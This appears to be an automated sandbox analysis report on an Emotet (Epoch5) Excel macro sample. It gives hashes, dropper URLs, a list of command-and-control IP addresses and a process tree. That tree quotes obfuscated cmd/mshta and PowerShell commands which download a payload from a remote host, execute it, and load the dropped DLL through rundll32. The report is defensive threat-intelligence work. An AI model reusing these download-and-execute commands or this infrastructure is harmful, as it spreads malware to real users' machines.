Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20-01-2022 02:08

General

  • Target

    2273312037417.xlsm

  • Size

    115KB

  • MD5

    ade959d1528828eccc6468dd5c44b211

  • SHA1

    9d6835a997ddd704e83e1d8679e31deccfb4c546

  • SHA256

    45ae174e0c5d865a0e1a2f1831df896eb8e6edd60b0505864baa9a2db811a536

  • SHA512

    540bc455cceba39cdcb94837f5c532eeda8a118d21406feb6c4b2c72c5b9b3d0d14b8cabc360371ee4478734b76b5f129cdebc3947e93fcab621fc68896db89e

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2273312037417.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:812
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1364
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1744
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:1528
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1720
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:968
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:1780
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1592
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Aavvttpajlzmiy\jqpfjxpkefvab.gvt",pxeThscreDZ
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1716
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Aavvttpajlzmiy\jqpfjxpkefvab.gvt",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1928

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/812-54-0x000000002F071000-0x000000002F074000-memory.dmp

      Filesize

      12KB

    • memory/812-57-0x0000000075F21000-0x0000000075F23000-memory.dmp

      Filesize

      8KB

    • memory/812-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/812-55-0x0000000071121000-0x0000000071123000-memory.dmp

      Filesize

      8KB

    • memory/1364-58-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

      Filesize

      8KB

    • memory/1592-80-0x0000000000820000-0x0000000000848000-memory.dmp

      Filesize

      160KB

    • memory/1592-78-0x0000000000720000-0x0000000000748000-memory.dmp

      Filesize

      160KB

    • memory/1592-82-0x0000000001CA0000-0x0000000001CC8000-memory.dmp

      Filesize

      160KB

    • memory/1592-84-0x0000000002440000-0x0000000002468000-memory.dmp

      Filesize

      160KB

    • memory/1592-86-0x00000000025E0000-0x0000000002608000-memory.dmp

      Filesize

      160KB

    • memory/1592-88-0x00000000027F0000-0x0000000002818000-memory.dmp

      Filesize

      160KB

    • memory/1592-91-0x0000000002940000-0x0000000002968000-memory.dmp

      Filesize

      160KB

    • memory/1716-93-0x00000000002F0000-0x0000000000318000-memory.dmp

      Filesize

      160KB

    • memory/1720-64-0x00000000022D0000-0x00000000025C0000-memory.dmp

      Filesize

      2.9MB

    • memory/1720-63-0x00000000022D0000-0x00000000025C0000-memory.dmp

      Filesize

      2.9MB

    • memory/1780-71-0x0000000000250000-0x0000000000278000-memory.dmp

      Filesize

      160KB

    • memory/1928-96-0x0000000000380000-0x00000000003A8000-memory.dmp

      Filesize

      160KB

    • memory/1928-98-0x0000000000440000-0x0000000000468000-memory.dmp

      Filesize

      160KB

    • memory/1928-100-0x0000000000AA0000-0x0000000000AC8000-memory.dmp

      Filesize

      160KB

    • memory/1928-102-0x0000000000B00000-0x0000000000B28000-memory.dmp

      Filesize

      160KB

    • memory/1928-104-0x0000000002520000-0x0000000002548000-memory.dmp

      Filesize

      160KB

    • memory/1928-106-0x0000000002660000-0x0000000002688000-memory.dmp

      Filesize

      160KB

    • memory/1928-108-0x0000000002710000-0x0000000002738000-memory.dmp

      Filesize

      160KB

    • memory/1928-110-0x0000000002A60000-0x0000000002A88000-memory.dmp

      Filesize

      160KB

    • memory/1928-112-0x0000000002AC0000-0x0000000002AE8000-memory.dmp

      Filesize

      160KB

    • memory/1928-114-0x0000000002BE0000-0x0000000002C08000-memory.dmp

      Filesize

      160KB

    • memory/1928-116-0x0000000002C41000-0x0000000002C65000-memory.dmp

      Filesize

      144KB

    • memory/1928-117-0x0000000002C40000-0x0000000002C68000-memory.dmp

      Filesize

      160KB